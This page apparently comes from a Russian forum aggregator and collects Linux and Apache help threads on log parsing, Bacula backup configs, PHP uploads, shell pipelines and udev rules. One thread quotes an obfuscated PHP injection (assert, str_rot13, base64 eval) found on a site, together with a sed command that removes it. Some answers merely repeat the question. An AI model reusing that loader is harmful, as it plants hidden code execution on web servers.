Все технические форумы на одном сайте Удобный поиск информации с популярных форумов в одном месте
Вопрос: парсинг access.log файла

Доброго времени суток!
Программа на shell
Имеется access_log веб-сервера Apache. Определить самый длинный путь по сайту. Результат загнать в шаблон в место a, b, c, и d:

Код Code
1
2
3
4
5
graph my {
  a -> b;
  b -> c;
  c -> d;
}
Помогите кто чем может!
Ответ: Мне кажется, лог файлы типовых серверов лучше обрабатывать на AWK.
Вопрос: Парсинг XML из переменной

проблема в том что когда я пишу
Bash
1
xqilla xq.xq
а потом
Bash
1
xsltproc book.xsl book.xml
, то всё красиво работает, но когда я пишу
Bash
1
XQUERY=$(xqilla xq.xq); XSLT=$(xsltproc book.xsl $XQUERY); echo $XSLT
то выдает ошибку warning: failed to load external entity
я только изучаю BASH и не могу понять где искать ошибку.
за ранее благодарен!

Добавлено через 2 минуты
я понимаю что ругается libxml2 парсер, но даже не приложу ума, как сделать так, чтоб не создавать временный файл
Ответ: Marinero,
Сообщение от Marinero
Хорошо бы еще понимать что Вы делаете и что это значит «красиво» и где Вы пытаетесь
я делаю преобразование XML с помошью XSL с командной строки, используя библиотеку libxslt - которая использует libxml2.
А вот при помощи xqilla, я выполняю запрос xquery в XML....так вот, выполнив запрос в xqilla и получив результат в виде набора узлов, я пытаюсь передать их в xsltproc для транформации в исходный документ, но при чтение промежуточного результата от xqilla, xsltproc трансформирует все треугольные скобки в сущности, а это означает что я не смогу выполнять XSLT. Но в ходе моего исследования причина не в bash, а тех библиотеках с которыми я обрабатываю файлы...поэтому тему можно закрыть...спасибо за ответ!
Вопрос: Найти файлы содержащие строки

Всем привет.
Есть n-ное количество php файлов, с таким содержимым:
PHP
1
2
3
4
5
<?php 
//###=CACHE START=###
error_reporting(0);assert_options(ASSERT_ACTIVE, 1);assert_options(ASSERT_WARNING, 0);assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXPScp3AyqPtxnJW2XFxtVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtMTyyXPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFx7PvE1pzjtCFNvnUE0pQbiYmRjBF4lZmLhBQRhZGNkY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMcCGRznQ0vYz1xAFtvMTH1ZGL1A2H5ZTH2MzIxBJAvLJMvLJWuLGWwBGt3ZTRkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsHxIHIIWBISWOGyATEIVfVSEFIHHcBjbxnJW2VQ0tL3IloS9yrTIwXPEwnPx7PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbnKAmMKDbWS9FEISIEIAHJlWjVy0cVPLzVT1xAFugMQHbWS9FEISIEIAHJlWjVy0cXFN9CFNvAwEyMQAyMwIvMJRjBJSxMGx4MzR0ZJL3LmNkLzEuATHvXFO7VTI2LJjbp3ElnKOmoTSmnTImXPEsHxIEIHIGISfvLlWqXFx7VU0XMJAbolNxnJW2B30="));'));
//###=CACHE END=###
?>
Строки с CACHE END и CACHE START получается найти и удалить, а то что между ними ни как не удаётся.
Помогите набросать команду. Спасибо.
Ответ: Для парсинга php cуществуют специальные инструменты, но в первом приближении как-то так
Bash
1
sed -i '\|//###=CACHE START=###|,\|//###=CACHE END=###|d' *.php
Вопрос: Настройка конфигурационных файлов bacula

Всем доброго дня! Ковыряюсь уже несколько дней с тем, что никак не могу настроить Bacula на корректную работу. Данный дистрибутив мне посоветовали и я впервые с ним столкнулся. Задача простая - развернуть бэкап нескольких директорий на одной машине. Предположительно, бэкап будет записываться на usb-накопитель.

Вот мои конфиги:
____________________

bacula-sd.conf
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# SERVER WHERE RESERVE COPIES WILL BE PUT
Storage {                             # definition of myself
  Name = data-server-101-sd
  SDPort = 9103                  # Director's port      
  WorkingDirectory = "/var/lib/bacula"
  Pid Directory = "/var/run/bacula"
  Maximum Concurrent Jobs = 20
  SDAddress = 127.0.0.1
}
 
#
# List Directors who are permitted to contact Storage daemon
#
Director {
 Name = user
 Password = "123"
 Monitor = yes
}
 
 
# DEVICE YOU SHOULD SAVE
Device {
  Name = device-101
  Media Type = File
  Archive Device = /common/reserve-archive
  LabelMedia = yes;                   # lets Bacula label unlabeled media
  Random Access = Yes;
  AutomaticMount = yes;               # when device opened, read it
  RemovableMedia = no;
  AlwaysOpen = no;
}
 
# PRINT MESSAGES
Messages {
  Name = Standard
  director = user = all
}
_________________
bacula-fd.conf
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#
# List Directors who are permitted to contact this File daemon
#
Director {
  Name = user
  Password = "123"
}
 
#
# "Global" File daemon configuration specifications
#
FileDaemon {                          # this is me
  Name = data-server-101-fd
  FDport = 9102                  # where we listen for the director
  WorkingDirectory = /var/lib/bacula
  Pid Directory = /var/run/bacula
  Maximum Concurrent Jobs = 20
  FDAddress = 127.0.0.1
}
 
# Send all messages except skipped files back to Director
Messages {
  Name = Standard
  director = user = all, !skipped, !restored
}
_______________
bacula-director.conf
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# DIRECTOR DISCRIPTION
Director {
 Name = user
 Password = "123"
 DIRport = 9101
 QueryFile = "/etc/bacula/scripts/query.sql"
 WorkingDirectory = "/home/user/bacula"
 PidDirectory = "/var/run"
 Maximum Concurrent Jobs = 1
 Messages = Dir-Messages
 DirAddress = 127.0.0.1
}
 
# TASK RESTORE #
Job {
 Name = "Restore-101"
 Type = Restore
 Client = client-101
 FileSet = "fileset-101"
 Storage = storage-101
 Pool = pool-101
 Messages = Daemon
 Where = /common/bacula-restores
}
 
# TASK BACKUP #
Job {
  Name = "Backup-101"
  Type = Backup
  Level = Incremental
  Client = client-101
  FileSet = "fileset-101"
  Schedule = "EveryDay"
  Storage = storage-101
  Messages = Daemon
  Pool = pool-101
  Priority = 10
  Write Bootstrap = "/var/db/bacula/backup-101.bsr"
}
 
# STORAGE WHERE SAVE FILE DAEMON
Storage {
    name = storage-101
    Address = 127.0.0.1
    SDPort = 9103
    Password = "123"
    Device = "device-101"
    Media Type = tape
}
 
# SET DIRECTORIES YOU WISH TO COPY
Fileset {
  Name = "fileset-101"
  Include {
    Options {
      signature = MD5
      compression = GZIP
    }
    File = /home/shd
  }
}
 
# File Pool definition
Pool {
  Name = pool-101
  Pool Type = Backup
  Recycle = yes                       # Bacula can automatically recycle Volumes
  AutoPrune = yes                     # Prune expired volumes
  Volume Retention = 365 days         # one year
  Maximum Volume Bytes = 50G          # Limit Volume size to something reasonable
  Maximum Volumes = 100               # Limit number of Volumes in Pool
}
 
# DEFINE DC CLIENT
Client {
  Name = client-101
  Address = 127.0.0.1
  FDPort = 9102
  Catalog = "default"
  Password = "123"
  File Retention = 30 days
  Job Retention = 3 months
  AutoPrune = yes
}
 
# CHOOSE WHEN YOU'D LIKE TO MAKE RESERVE COPIES
Schedule {
  Name = "EveryDay"
  Run = Full daily at 9:00
}
 
# PRINT MESSAGES
Messages {
  Name = Dir-Messages
  mailcommand = "/usr/lib/bacula/bsmtp -h localhost -f "\(Bacula\) " =s \ "Bacula daemon message" %r"
  mail = root@localhost = all, !skipped
  console = all, !skipped, !saved
  append = "/var/lib/bacula/log" = all, !skipped
}
_____________

Помогите пожалуйста, чего здесь не хватает? ошибка когда я даю команду: /etc/init.d/bacula-director restart

ERROR TERMINATION at parse_conf.c:478
Ответ: Пожалуйста!) В какой системе разницы нет, просто местоположение каталогов разное немного. У меня вопросов с привязками бд не было. Я просто один раз настроил bacula-dir.conf на сервере бэкапов, а на клиентских серверах устанавливал bacula-client (тебе не нужен, если все делается на одной машине), потом на сервере бэкапов создавал конфиги на каждого клиента и включал их в основной bacula-dir.conf, потому что если сразу все в основном описывать, конфиг бы получился громоздким. В каждом клиентском конфиге просто прописывал какие директории мне на этом сервере необходимо забекапить и куда.

Вот так в конце конфига, я включаю клиентские в bacula-dir.conf
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
файлы конфигурации
 @/usr/local/etc/bacula/clientvideo.conf
 @/usr/local/etc/bacula/clientvideo2.conf
 @/usr/local/etc/bacula/clientvideonew.conf
 @/usr/local/etc/bacula/clientvidstk.conf
 @/usr/local/etc/bacula/clientwebhost.conf
 @/usr/local/etc/bacula/clientbg0-u.conf
 @/usr/local/etc/bacula/clientfreemail.conf
 @/usr/local/etc/bacula/clientharon.conf
 @/usr/local/etc/bacula/clientnewharon.conf
 @/usr/local/etc/bacula/clientunifi1.conf
 @/usr/local/etc/bacula/clientunifi-2.conf
 @/usr/local/etc/bacula/clientunifi-5.conf
 @/usr/local/etc/bacula/clientunifi-6.conf
 @/usr/local/etc/bacula/clientunifi-beta.conf
 @/usr/local/etc/bacula/clientunifi-v3.conf
 @/usr/local/etc/bacula/clientwl-test-v4.conf
А вот пример клиентского конфига, например clientvideo.conf

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#
#  Client
#  Клиент video
#  Создаем задание video-job и указываем ресурсы.
 
Job {                   #Имя задания
  Name = "video-job"
  Type = Backup             #Тип (backup, restore..)
  Level = Full              #Уровень бэкапа (Full, Incremental, Differential )
  Client = video.ddd.srv-fd  #Имя клиента
  FileSet = "Full Set video"        #Набор файлов для сохранения
  Schedule = "WeeklyCycleVideo"     #Расписание
  Storage = File-video             #Файловое хранилище
  Messages = Daemon
  Pool = File-video                 #Пул, куда будем писать бэкапы
  SpoolAttributes = yes
 
  Priority = 10              #Приоритет. Давая заданиям приоритеты
                             #от 1 (макс) до 10 (мин), можно регулировать
                             #последовательность выполнения.
 
  Write Bootstrap = "/var/db/bacula/%c.bsr" #Файл хранит информацию откуда извлекать
                                            #Данные при восстановлении
}
 
# Список файлов для резервного копирования
FileSet {
  Name = "Full Set video"
  Include {
    Options {
      signature = MD5  #Тип сигнатур MD5/SHA1
    }
    File = /usr/local/sbin/cctvctrl
    File = /etc
    File = /usr/local/etc
    File = /var/cron
    File = /usr/local/www
    File = /data/cctv/log
    File = /data/cctv/data
    File = /data/cctv/etc
    File = /usr/local/bin
  }
 
  Exclude {                #Исключения
    File = /var/db/bacula  ##Исключаемые дирректории
    File = /tmp            ##
    File = /proc           ##
    File = /tmp            ##
    File = /sys
    File = /.journal       ###Исключаемые файлы
    File = /.fsck          ###
  }
}
 
#Pool - отдельное описание для каждого набора томов (лент, DVD, файлов)
#используется при описании задания для указания пула из которого
#должен быть взят том. В каждый пул может входить несколько томов.
 
Pool {                             #Пул
  Name = File-video                #Имя пула
  Pool Type = Backup               #Тип пула
  Recycle = yes                    #Bacula может автоматически рециркулировать тома
  AutoPrune = yes                     # Удалять из каталога записи о файлах и
                                      #заданиях, срок хранения которых истек в
                                      #соответствии с Volume Retention,
                                      #при поиске доступного на запись тома.
  Volume Retention = 365 days         # через one year
  Maximum Volume Bytes = 50G          # Limit Volume size to something reasonable
  Maximum Volumes = 100               # Limit number of Volumes in Pool
  Label Format = "videojob-"
  Recycle Oldest Volume = yes
 }
#Определение клиентов
 Client {
     Name = video.ddd.srv-fd
     Address = video.ddd.ru
     FDPort = 9102
     Catalog ="MyCatalog"
     Password = "322qwerty123"
     File Retention = 30 days
     Job Retention = 3 months
     AutoPrune = yes
 
}
 
 
#Определение файловых хранилищ
Storage {
    Name = File-video
    Address = backup.ddd.srv
    SDPort = 9103
    Password = "322qwerty123"
    Device = FileStorage2
 
    Media Type = File
}
 
# Планировщик
Schedule {
    Name = "WeeklyCycleVideo"
    Run = Full 2nd wed at 01:06
    Run = Differential 2nd-5th sun at 1:00
    Run = Incremental mon-sun at 1:00
}
Вопрос: Проблема с загрузкой файлов Debian 8/Apache 2/PHP 5

Добрый день,

столкнулся с проблемой загрузки файлов на только что установленной системе Debian 3.16.7-ckt25-1 (2016-03-06) x86_64 / Apache/2.4.10 / PHP 5.6.19-0+deb8u1

фрагмент /etc/php5/apache2/php.ini

;;;;;;;;;;;;;;;;
; File Uploads ;
;;;;;;;;;;;;;;;;

; Whether to allow HTTP file uploads.
; http://php.net/file-uploads
file_uploads = On

; Temporary directory for HTTP uploaded files (will use system default if not
; specified).
; http://php.net/upload-tmp-dir
;upload_tmp_dir =


настройки виртуального хоста

<VirtualHost IP:80>
	ServerName mydomain.ru
	ServerAlias www.mydomain.ru
	ServerAdmin support@mydomain.ru

	AddDefaultCharset UTF-8

	DocumentRoot /var/www/user/data/sites/mydomain.ru/www
	CustomLog /var/www/user/data/sites/mydomain.ru/logs/mydomain.ru.access.log combined
	ErrorLog /var/www/user/data/sites/mydomain.ru/logs/mydomain.ru.error.log

	AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml
	AddType application/x-httpd-php-source .phps

	php_admin_value open_basedir "/var/www/user/data/:."
	php_admin_value upload_tmp_dir "/var/www/user/data/sites/mydomain.ru/tmp"
	php_admin_value session.save_path "/var/www/user/data/sites/mydomain.ru/tmp"
</VirtualHost>

<Directory /var/www/user/data/sites/mydomain.ru/www>
	AllowOverride All
	Options -ExecCGI -Includes -Indexes
	php_admin_value open_basedir "/var/www/user/data/:."
	php_admin_flag engine on
</Directory>


При попытке загрузить файлы на сервер получаю ошибку:

PHP Warning:  Unknown: open_basedir restriction in effect. File(/tmp) is not within the allowed path(s): (/var/www/user/data/:.) in Unknown on line 0
PHP Warning:  File upload error - unable to create a temporary file in Unknown on line 0


т.е., насколько я понимаю происходит следующее, поскольку в php.ini не указана директива "upload_tmp_dir", то путь к папке для загрузки файлов берётся системный, т.е. "/tmp", НО, из файла конфигурации виртуального хоста берётся директива базовой директории "open_basedir", работа за пределами которой для данного виртуального хоста запрещена, о чём, собственно, и говорится в сообщении об ошибке. Вопрос, почему игнорируется директива "upload_tmp_dir" для виртуального хоста?
Ответ: Проблема решена, хост работал на SSL, соответственно директивы указания на папку для загружаемых файлов надо было указывать в соответствующем конфиге.
Вопрос: SSH Access Denied при удаленном подключении

Всем доброго времени.
Новый сервер Supermicro
Чистый Debian
Подключаюсь по SSH через IPMI или локально - все ок. Заходит и под рутом и под пользователем.
Подключаюсь удаленно через Putty и др. клиенты - Access Denied для любого юзера
В чем может быть проблема?
Перерыл весь гугл и яндекс - решения не нашел
Сразу говорю,что проблема не в конфиге 100%, на др.серверах аналогичный конфиг и все ок.
В auth.log ничего не пишется при ошибке Access Denied.
Ответ: это я к тому что sshd_config не изменялся
я разобрался, по невнимательности пытался зайти на другой вообще сервер
Вопрос: Debian&Apache2 Непонятки с правами на файлы

Есть сайт на php, поднимался на Debian etch. Решил переустановить систему, поставил свежий Debian wheezy ( 8.0 ), установил Apache2 (2.4.12-2), libapache2-mod-php5 (5.6.7+dfsg-1) и тут появились непонятные глюки, в админке сайта в меню аплоада не отображаются загруженные файлы.
Проблема вроде ясна, ковыряй права на структуру сайта, но есть один единственный " НО " :

1. Делаю chmod -R 777 ./* не отображаются файлы в админке
2. Ставлю права массовым выделением в midnight commander - появляется последний выделенный файл
3. Делаю снова chmod -R 777 ./* файлы исчезают из списка
4. Делаю chmod указывая конкретные файлы - файлы появляются
5. в коммандере открываю права на файл и ничего не изменяя выхожу - файл на который смотрелись права появился в списке., а сделаю опять chmod на все файлы, они снова исчезнут.

Можно было бы грешить на apache, на php или php модуль для апача, но никак не улавливаю связи с простым просмотром прав через коммандер, как только зайду в редактирование прав, при этом повторюсь ничего не меняя, то файл появляется.

Кто нибудь сталкивался с чем нибудь подобным?
Ответ: Есть сайт на php, поднимался на Debian etch. Решил переустановить систему, поставил свежий Debian wheezy ( 8.0 ), установил Apache2 (2.4.12-2), libapache2-mod-php5 (5.6.7+dfsg-1) и тут появились непонятные глюки, в админке сайта в меню аплоада не отображаются загруженные файлы.
Проблема вроде ясна, ковыряй права на структуру сайта, но есть один единственный " НО " :

1. Делаю chmod -R 777 ./* не отображаются файлы в админке
2. Ставлю права массовым выделением в midnight commander - появляется последний выделенный файл
3. Делаю снова chmod -R 777 ./* файлы исчезают из списка
4. Делаю chmod указывая конкретные файлы - файлы появляются
5. в коммандере открываю права на файл и ничего не изменяя выхожу - файл на который смотрелись права появился в списке., а сделаю опять chmod на все файлы, они снова исчезнут.

Можно было бы грешить на apache, на php или php модуль для апача, но никак не улавливаю связи с простым просмотром прав через коммандер, как только зайду в редактирование прав, при этом повторюсь ничего не меняя, то файл появляется.

Кто нибудь сталкивался с чем нибудь подобным?
Вопрос: Обработать текстовый файл в Терминале

Помогите сделать это в терминале

1. Создайте два файла с перечнем объектов (каждый объект с новой строки).
2. Отсортируйте каждый из файлов по алфавиту
3. Объедините эти файлы в один
4. Подсчитайте общее количество слов в нем,
5. Выведите на экран первые и последние две строки файла
6. Замените символы перевода строки на символ табуляции и обратно
7. Отсортируйте файл
8. Пронумеруйте строки файла
9. Выведите на экран все строки, содержащие букву "р"
10. Разбейте файл на три файла
Выполнить следующие задания. Объяснить каждый шаг конвейера. Вместо знаков вопроса подставьте нужную команду/аргумент.
1. Вывести на экран всех пользователей системы с сортировкой по алфавиту:
$ cut -d: -f1 /etc/passwd | ???

2. Изменить предыдущую команду таким образом, чтобы помимо имени пользователя на экране также выводился его идентификатор. Подсказка: посмотрите содержимое файла /etc/passwd, чтобы найти, в каком из полей, разделенных двоеточием, находится UID.
3. Подсчитать количество пользователей, у которых командой оболочкой является bash:
$ grep :/bin/bash /etc/passwd | wc -l

4. Вывести на экран всех пользователей, использующих командную оболочку /bin/bash, отсортировав их по алфавиту в обратном порядке:
$ grep :/bin/bash /etc/passwd | ??? | ???

5. Выполнить сортировку пакетов по размеру (большего к меньшему) и вывести первые 25 пакетов:
$ rpm -qa --qf '[%{NAME}: %{SIZE}\n]' | sort -rn -k2,2 | ???

6. Вывести все файлы из пакета man, подсчитать для каждого из них размер, игнорируя ошибки, и выполнить сортировку по размеру:
$ rpm -ql man | xargs -l du 2> /dev/null | sort -n

7. При помощи программы top вывести список работающих процессов и отсортировать их по имени процесса (аргумент команды sort заполнить самостоятельно):
$ top -b -n1 | sort ???

8. Используя команду awk, изменить вывод команды top таким образом, чтобы в первой колонке отображалось имя процесса, во второй - объём занимаемой памяти:
$ top -b -n1 | awk '{printf "%35s %s\n", $12, $6}'
9. Вывести файл /etc/passwd в отсортированном по пользователям виде, заменив знаки двоеточия пробелами:
$ ??? | tr ":" " "
10. Вывести файл /etc/passwd в отсортированном по пользователям виде в две колонки - в первой - имя пользователя, во второй - командная оболочка пользователя:
$ ??? | awk -F: '{printf "%15s %s\n", $1, $7}'
11. На примере файла user-manual.txt из документации git исследовать конвейеры.
$ cd /usr/share/doc/git-*
12. Выполнить анализ частоты появления каждого слова в файле user-manual.txt. Конвейер нужно строить по шагам, наблюдая за изменением результата. Определить этап получения первичной информации, этап обработки и этап представления результатов.
$ cat user-manual.txt | tr ' ' '\012' | tr '[:upper:]' '[:lower:]' | tr -d '[unct:]' | grep -v '[^a-z]' | sort | uniq -c | sort -rn | head -5
Или:
$ cat user-manual.txt | tr -cs '[:alpha:]' '\n' | tr '[:upper:]' '[:lower:]' | sort | uniq -c | sort -rn | head -5
Почему различаются результаты работы конвейеров?
13. Выполнить анализ частоты появления каждого символа.
$ tr '[:lower:]' '[:upper:]' < user-manual.txt | tr -d '[unct:] \n\t' | fold -w1 | sort | uniq -c | sort -rn | head -5
14. Вывести самые часто встречаемые слова, в которых количество символов больше семи:
$ tr -cs '[:alpha:]' '\n' < user-manual.txt | less | grep -E ........ | sort | uniq -c | sort -rn | head
Ответ: 1. Создайте два файла с перечнем объектов (каждый объект с новой строки).
2. Отсортируйте каждый из файлов по алфавиту
3. Объедините эти файлы в один
4. Подсчитайте общее количество слов в нем,
5. Выведите на экран первые и последние две строки файла
6. Замените символы перевода строки на символ табуляции и обратно
7. Отсортируйте файл
8. Пронумеруйте строки файла
9. Выведите на экран все строки, содержащие букву "р"
10. Разбейте файл на три файла
Выполнить следующие задания. Объяснить каждый шаг конвейера. Вместо знаков вопроса подставьте нужную команду/аргумент.
1. Вывести на экран всех пользователей системы с сортировкой по алфавиту:
Bash
1
$ cut -d: -f1 /etc/passwd | ??? 
2. Изменить предыдущую команду таким образом, чтобы помимо имени пользователя на экране также выводился его идентификатор. Подсказка: посмотрите содержимое файла /etc/passwd, чтобы найти, в каком из полей, разделенных двоеточием, находится UID.
3. Подсчитать количество пользователей, у которых командой оболочкой является bash:
Bash
1
$ grep :/bin/bash /etc/passwd | wc -l 
4. Вывести на экран всех пользователей, использующих командную оболочку /bin/bash, отсортировав их по алфавиту в обратном порядке:
Bash
1
$ grep :/bin/bash /etc/passwd | ??? | ??? 
5. Выполнить сортировку пакетов по размеру (большего к меньшему) и вывести первые 25 пакетов:
Bash
1
$ rpm -qa --qf '[%{NAME}: %{SIZE}\n]' | sort -rn -k2,2 | ??? 
6. Вывести все файлы из пакета man, подсчитать для каждого из них размер, игнорируя ошибки, и выполнить сортировку по размеру:
Bash
1
$ rpm -ql man | xargs -l du 2> /dev/null | sort -n 
7. При помощи программы top вывести список работающих процессов и отсортировать их по имени процесса (аргумент команды sort заполнить самостоятельно):
Bash
1
$ top -b -n1 | sort ???
8. Используя команду awk, изменить вывод команды top таким образом, чтобы в первой колонке отображалось имя процесса, во второй - объём занимаемой памяти:
Bash
1
$ top -b -n1 | awk '{printf "%35s %s\n", $12, $6}' 
9. Вывести файл /etc/passwd в отсортированном по пользователям виде, заменив знаки двоеточия пробелами:
Bash
1
$ ??? | tr ":" " " 
10. Вывести файл /etc/passwd в отсортированном по пользователям виде в две колонки - в первой - имя пользователя, во второй - командная оболочка пользователя:
Bash
1
$ ??? | awk -F: '{printf "%15s %s\n", $1, $7}' 
11. На примере файла user-manual.txt из документации git исследовать конвейеры.
Bash
1
$ cd /usr/share/doc/git-*
12. Выполнить анализ частоты появления каждого слова в файле user-manual.txt. Конвейер нужно строить по шагам, наблюдая за изменением результата. Определить этап получения первичной информации, этап обработки и этап представления результатов.
Bash
1
$ cat user-manual.txt | tr ' ' '\012' | tr '[:upper:]' '[:lower:]' | tr -d '[unct:]' | grep -v '[^a-z]' | sort | uniq -c | sort -rn | head -5 
Bash
1
2
Или: 
$ cat user-manual.txt | tr -cs '[:alpha:]' '\n' | tr '[:upper:]' '[:lower:]' | sort | uniq -c | sort -rn | head -5 
Почему различаются результаты работы конвейеров?
13. Выполнить анализ частоты появления каждого символа.
Bash
1
$ tr '[:lower:]' '[:upper:]' < user-manual.txt | tr -d '[unct:] \n\t' | fold -w1 | sort | uniq -c | sort -rn | head -5 
14. Вывести самые часто встречаемые слова, в которых количество символов больше семи:
Bash
1
$ tr -cs '[:alpha:]' '\n' < user-manual.txt | less | grep -E ........ | sort | uniq -c | sort -rn | head
Вопрос: Скрипт с получением имени владельца файла

Все привет!

Есть такое задание:
Разработать скрипт, который:
• выводит имя текущего каталога
• запрашивает имя файла
если файл не существует, выводит сообщение об ошибке и снова запрашивает имя файла
• запрашивает имя пользователя
если пользователь не является владельцем файла, то выводит имя владельца файла и имя группы файла

Проблема с 3 пунктом. Нашел только вот такое: Верно, если файл с именем file существует и его владельцем является пользователь, на которого указывает эффективный идентификатор пользователя "-G file".
Как я понял, он сравнивает текущего пользователя/или пользователя, который запустил текущий процесс.
Каким образом можно сделать сравнение любого пользователя системы с владельцем файла? Прошу у Вас помощи!

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!bin/bash
echo "Текущий каталог:"
pwd
a=0
b=0
path=/home/maks/
while [ $b -lt 1 ]
do
b=$a
echo "Введите имя файла:"
read name
if [ ! -f $path/$name ]
then echo "Файл не найден.Повторить?(y/n)"
read yn
if [ $yn = y ]
then
continue
else echo "Завершение программы"
fi
fi
if [ -G $name ]
then echo ""
else echo "2:"
ls -l $name
fi
b=$(( b + 1 ))
done
Ответ: Есть задание:
Разработать скрипт, который:
- выводит имя текущего каталога
- запрашивает имя файла
- если файл не существует, выводит сообщение об ошибке и снова запрашивает имя файла
- запрашивает имя пользователя
- если пользователь не является владельцем файла, то выводит имя владельца файла и имя группы файла.
Смог сделать все до момента сравнивания имени пользователя с именем владельца файла, тут возникает проблема, как вытащить имя этого владельца из ls.
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash
pwd
echo "Введите имя файла:"
while true; do
read file1
echo "Поиск по имени файла $file1"
find . -name $file1
if [ -a $file1 ] ; then
echo "Файл найден"
pwd $file1
break
else
echo "Файл не найден.Повторите ввод"
fi
done
 
echo "Введите имя пользователя:"
read user
Заранее спасибо за помощь.
Вопрос: Узнать путь к файлу устройства, имея только вывод lsusb

Linux debian 7

Вопрос в шапке. В программе хочу выводить пользователю все usb устройства на выбор. Дальше, в зависимости от выбранного устройства, программа работает с ним через его файл.

Через lsusb я могу получить список usb устройств и их производителей, но не вижу путей к файлам устройств. Посоветуйте, как это можно узнать - все пути для всех устройств из lsusb.

Добавлено через 1 час 2 минуты
Никто не сталкивался? Ведь есть же, например, файл /dev/ttyUSB0. Когда воткнул устройство и появился файл - сразу понятно, что этот файл для этого же устройства. А если устройств много и их нельзя просто так вытащить вставить? Нужно узнать пути, найти все такие файлы для всех устройство из lsusb. Хотя из lsusb я могу достать только pid и vid устройства...
Очень нужен совет опытного линуксоида, куда копать...

Добавлено через 6 часов 21 минуту
Неужели никто не знает, как узнать пути к устройствам lsusb? Никаким способом?
Ответ: В данный момент удалил часть файлов драйвера, устройства ttyUSB0 перестали появляться. Создаются лишь мои устройства.

Если выдергивать их по-очереди с интервалом в несколько секунд - файлы устройств удаляются. Правило udev отрабатывает корректно.

НО если выдернуть сразу пачку проводов, часть устройств может не удалиться, потому что событие удаления демоном udev будет пропущено, т.к. он в этот момент обрабатывает правила удаление первой половины пачки устройств.

Кто-то сталкивался - как это решить?

Добавлено через 4 минуты
Может я неправильно составил правило удаления устройств?

ACTION=="remove", ATTRS{serial}=="XX000012" RUN+="/bin/rm /dev/myUSB12"
И таких строк сейчас 20 в том же файле, в котором обрабатываются события ACTION="add" - для каждого серийника своя.

Добавлено через 15 минут
Запустил проверку через
Код Bash
1
udevadm --debug monitor
Оказалось, что все устройства удаляются. Но вот мои файлы myUSB%n частью остаются висеть в папке /dev хотя удаление вроде как отработало. Статус файла в этот момент (после удаления) не изменяется. Он видится как файл. Но работать с ним, как с устройством, например считывать приход через команду cat - нельзя, т.к. выдается ошибка:
Код Bash
1
 /dev/myUSB4: Нет такого устройства
Добавлено через 7 минут
О как. Сейчас выдернул опять 4 устройства. По логам udev видна последовательность удаления устройств - 2,1,3,4.

И именно 1 файл-устройство не удалился из папки /dev/

Скорее всего и впрямь некорректно работает моя мешанина правил удаления. Поскольку событие удаление первого устройства описано в файле первым, то при удалении 2 устройства последующее удаление 1 устройства игнорируется, т.к. требуется время на прохождение и проверку всех событий, описанных ниже (предполагаю).

Сейчас проверю, если буду выдергивать сначала 4 устройство. Должны будут остаться первые 3 файла...

Добавлено через 6 минут
Кстати, заметил, что и одновременное включение устройств приводит к такой же проблеме. Предыдущее по номеру устройство игнорируется.

Добавлено через 6 минут
Для сравнения 1 файл остался после некорректной отработки udev. Второй просто не существует. Любой существующий файл дал бы ожидание приема от устройства.
Код Bash
1
2
3
4
5
root@debian:/dev# cat myUSB4
cat: moxa_USB4: Нет такого устройства
root@debian:/dev# cat myUSB1
cat: moxa_USB1: Нет такого файла или каталога
root@debian:/dev#